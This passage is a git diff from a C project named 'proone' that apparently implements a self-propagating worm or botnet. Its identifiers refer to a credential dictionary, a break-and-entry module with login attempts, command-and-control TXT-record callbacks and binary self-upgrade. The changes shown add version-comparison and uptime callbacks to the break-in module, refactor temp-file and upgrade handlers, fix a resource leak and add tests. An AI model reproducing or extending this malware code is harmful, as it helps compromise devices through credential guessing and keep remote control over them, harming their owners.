prne_free(hostcred); if (prne_nstrlen(m_upbin_path) > 0) { do_run_upbin(); - return 3; } return 0; diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c index 962dcb6..1c281fa 100644 --- a/src/proone-mkdvault.c +++ b/src/proone-mkdvault.c @@ -142,6 +142,19 @@ static void gen_mask (uint8_t *out) { prne_free_imap(&q); } +static void add_ver_mat () { + static uint8_t VER_MAT[] = PRNE_VER_MAT; + static const size_t nb_e = sizeof(VER_MAT) / 16; + + prne_assert(sizeof(VER_MAT) % 16 == 0); + qsort(VER_MAT, nb_e, 16, prne_cmp_uuid_asc); + + ENTRIES[PRNE_DATA_KEY_VER_MAT].data = VER_MAT; + ENTRIES[PRNE_DATA_KEY_VER_MAT].size = sizeof(VER_MAT); + ENTRIES[PRNE_DATA_KEY_VER_MAT].type = PRNE_DATA_TYPE_BIN; + ENTRIES[PRNE_DATA_KEY_VER_MAT].set = true; +} + int main (const int argc, const char **args) { int callret; uint8_t mask[256]; @@ -189,6 +202,7 @@ int main (const int argc, const char **args) { add_bin(PRNE_DATA_KEY_RCN_BL_IPV6, PRNE_RCN_BL_IPV6); add_file(PRNE_DATA_KEY_CRED_DICT, args[1]); add_cstr(PRNE_DATA_KEY_EXEC_NAME, PRNE_BNE_EXEC_NAME); + add_ver_mat(); pos += NB_PRNE_DATA_KEY * sizeof(uint16_t); diff --git a/src/proone-resolv.c b/src/proone-resolv.c index 94759b8..738827d 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -375,6 +375,8 @@ int main (void) { } prne_free_llist(&prm_list); + pth_kill(); + if (exec_result.proc) { if (exec_result.parse_err || exec_result.query_err) { return 3; diff --git a/src/proone-test_iobuf.c b/src/proone-test_iobuf.c new file mode 100644 index 0000000..6091fce --- /dev/null +++ b/src/proone-test_iobuf.c @@ -0,0 +1,23 @@ +#include "iobuf.h" + +#include <assert.h> + + +int main (void) { + static const size_t FAIL_ARR0[] = { 0 }; + static const size_t FAIL_ARR1[] = { SIZE_MAX, 0 }; + static const size_t FAIL_ARR2[] = { SIZE_MAX, SIZE_MAX, SIZE_MAX, 0 }; + static const size_t OK_ARR0[] = { 4096, 0 }; + static const size_t OK_ARR1[] = { SIZE_MAX, 4096, 0 }; + prne_iobuf_t ib; + + prne_init_iobuf(&ib); + assert(!prne_try_alloc_iobuf(&ib, FAIL_ARR0)); + assert(!prne_try_alloc_iobuf(&ib, FAIL_ARR1)); + assert(!prne_try_alloc_iobuf(&ib, FAIL_ARR2)); + assert(prne_try_alloc_iobuf(&ib, OK_ARR0)); + assert(prne_try_alloc_iobuf(&ib, OK_ARR1)); + prne_free_iobuf(&ib); + + return 0; +} diff --git a/src/proone.c b/src/proone.c index 23be2d8..574e55b 100644 --- a/src/proone.c +++ b/src/proone.c @@ -142,10 +142,17 @@ static bool cb_htbt_hostinfo (void *ctx, prne_htbt_host_info_t *out) { return true; } -static char *cb_htbt_tmpfile (void *ctx, size_t req_size, const mode_t mode) { +static int cb_tmpfile ( + void *ctx, + const int flags, + const mode_t mode, + size_t req_size, + char **opath) +{ uint8_t m[16]; - char *path = prne_alloc_str(36 + 3), *ret = NULL; + char *path = prne_alloc_str(36 + 3); int fd = -1; + bool ret = false; path[0] = 0; do { @@ -161,30 +168,35 @@ static char *cb_htbt_tmpfile (void *ctx, size_t req_size, const mode_t mode) { prne_uuid_tostr(m, path + 3); path[39] = 0; - fd = open(path, O_RDWR | O_CREAT | O_TRUNC, mode); + fd = open(path, flags, mode); if (fd < 0) { break; } - chmod(path, mode); if (ftruncate(fd, req_size) != 0) { break; } - ret = path; - path = NULL; + ret = true; } while (false); - if (path != NULL) { + if (ret) { + if (opath != NULL) { + *opath = path; + path = NULL; + } + } + else { if (fd >= 0) { unlink(path); } - prne_free(path); + prne_close(fd); + fd = -1; } - prne_close(fd); - return ret; + prne_free(path); + return fd; } -static bool cb_htbt_upbin ( +static bool cb_upbin ( void *ctx, const char *path, const prne_htbt_cmd_t *cmd) @@ -224,8 +236,8 @@ static void alloc_htbt (void) { param.resolv = prne_g.resolv; param.cb_f.cnc_txtrec = cb_htbt_cnc_txtrec; param.cb_f.hostinfo = cb_htbt_hostinfo; - param.cb_f.tmpfile = cb_htbt_tmpfile; - param.cb_f.upbin = cb_htbt_upbin; + param.cb_f.tmpfile = cb_tmpfile; + param.cb_f.upbin = cb_upbin; param.rcb = &prne_g.rcb_param; param.blackhole = prne_g.blackhole[1]; @@ -1216,6 +1228,40 @@ static void bne_cb_exit_dd (void *ctx) { prne_dvault_reset(); } +static uint64_t bne_cb_uptime (void *ctx) { + return prne_sub_timespec( + prne_gettime(CLOCK_MONOTONIC), + prne_g.child_start).tv_sec; +} + +static int bne_cb_vercmp (void *ctx, const uint8_t *uuid) { + size_t l; + const void *ver_mat; + int ret; + + if (memcmp( + prne_dvault_get_bin(PRNE_DATA_KEY_PROG_VER, NULL), + uuid, + 16) == 0) + { + ret = 0; + goto END; + } + + ver_mat = prne_dvault_get_bin(PRNE_DATA_KEY_VER_MAT, &l); + prne_dbgast(l % 16 == 0); + if (bsearch(uuid, ver_mat, l / 16, 16, prne_cmp_uuid_asc) == NULL) { + ret = -1; + } + else { + ret = 1; + } + +END: + prne_dvault_reset(); + return ret; +} + static char *bne_cb_exec_name (void *ctx) { size_t dvl; const char *dv_str; @@ -1258,6 +1304,10 @@ static void init_bne (void) { bne_param.cb.exec_name = bne_cb_exec_name; bne_param.cb.enter_dd = bne_cb_enter_dd; bne_param.cb.exit_dd = bne_cb_exit_dd; + bne_param.cb.uptime = bne_cb_uptime; + bne_param.cb.vercmp = bne_cb_vercmp; + bne_param.cb.tmpfile = cb_tmpfile; + bne_param.cb.upbin = cb_upbin; bne_param.rcb = &prne_g.rcb_param; bne_param.login_attempt = PRNE_BNE_LOGIN_ATTEMPT; diff --git a/src/resolv.c b/src/resolv.c index b7f00e7..40e789a 100644 --- a/src/resolv.c +++ b/src/resolv.c @@ -506,10 +506,10 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) { } END: - pth_event_free(ev, FALSE); prne_close(pfs[0].fd); prne_close(pfs[1].fd); if (!ret && err_sleep != NULL) { + pth_event_free(ev, FALSE); ev = pth_event( PTH_EVENT_TIME, pth_timeout(err_sleep->tv_sec, err_sleep->tv_nsec / 1000)); @@ -518,6 +518,7 @@ END: pth_wait(ev); } while (pth_event_status(ev) == PTH_STATUS_PENDING); } + pth_event_free(ev, FALSE); return ret; } diff --git a/src/test-resolv.sh b/src/test-resolv.sh index c10d305..e18f72c 100755 --- a/src/test-resolv.sh +++ b/src/test-resolv.sh @@ -8,15 +8,15 @@ assert_ec () { echo "OK" >&2 fi } -SUBJECT_EXEC="./proone-resolv" +SUBJECT_EXEC="valgrind --leak-check=full --show-leak-kinds=all -- ./proone-resolv" -echo "a example.com" | "$SUBJECT_EXEC" +echo "a example.com" | $SUBJECT_EXEC assert_ec $? 0 "Single NOERROR execution" -echo "a example.test" | "$SUBJECT_EXEC" +echo "a example.test" | $SUBJECT_EXEC assert_ec $? 0 "Single NXDOMAIN execution" -cat << EOF | "$SUBJECT_EXEC" +cat << EOF | $SUBJECT_EXEC ; Queue more than RESOLV_PIPELINE_SIZE(4) a example.com aaaa example.com @@ -31,7 +31,7 @@ aaaa www.kernel.org EOF assert_ec $? 0 "Queue congestion" -cat << EOF | "$SUBJECT_EXEC" +cat << EOF | $SUBJECT_EXEC aaaa example.com txt example.test EOF diff --git a/src/util_rt.c b/src/util_rt.c index f440f5b..a521f3a 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -471,6 +471,13 @@ void prne_uuid_tostr (const uint8_t *in, char *out) { out[ptr] = 0; } +int prne_cmp_uuid_asc (const void *a, const void *b) { + return memcmp(a, b, 16); +} +int prne_cmp_uuid_desc (const void *a, const void *b) { + return prne_cmp_uuid_asc(a, b) * -1; +} + struct timespec prne_add_timespec ( const struct timespec a, const struct timespec b) diff --git a/src/util_rt.h b/src/util_rt.h index eea3a7e..567cd4c 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -87,6 +87,9 @@ bool prne_uuid_fromstr (const char *str, uint8_t *out); */ void prne_uuid_tostr (const uint8_t *in, char *out); +int prne_cmp_uuid_asc (const void *a, const void *b); +int prne_cmp_uuid_desc (const void *a, const void *b); + struct timespec prne_add_timespec ( const struct timespec a, const struct timespec b); |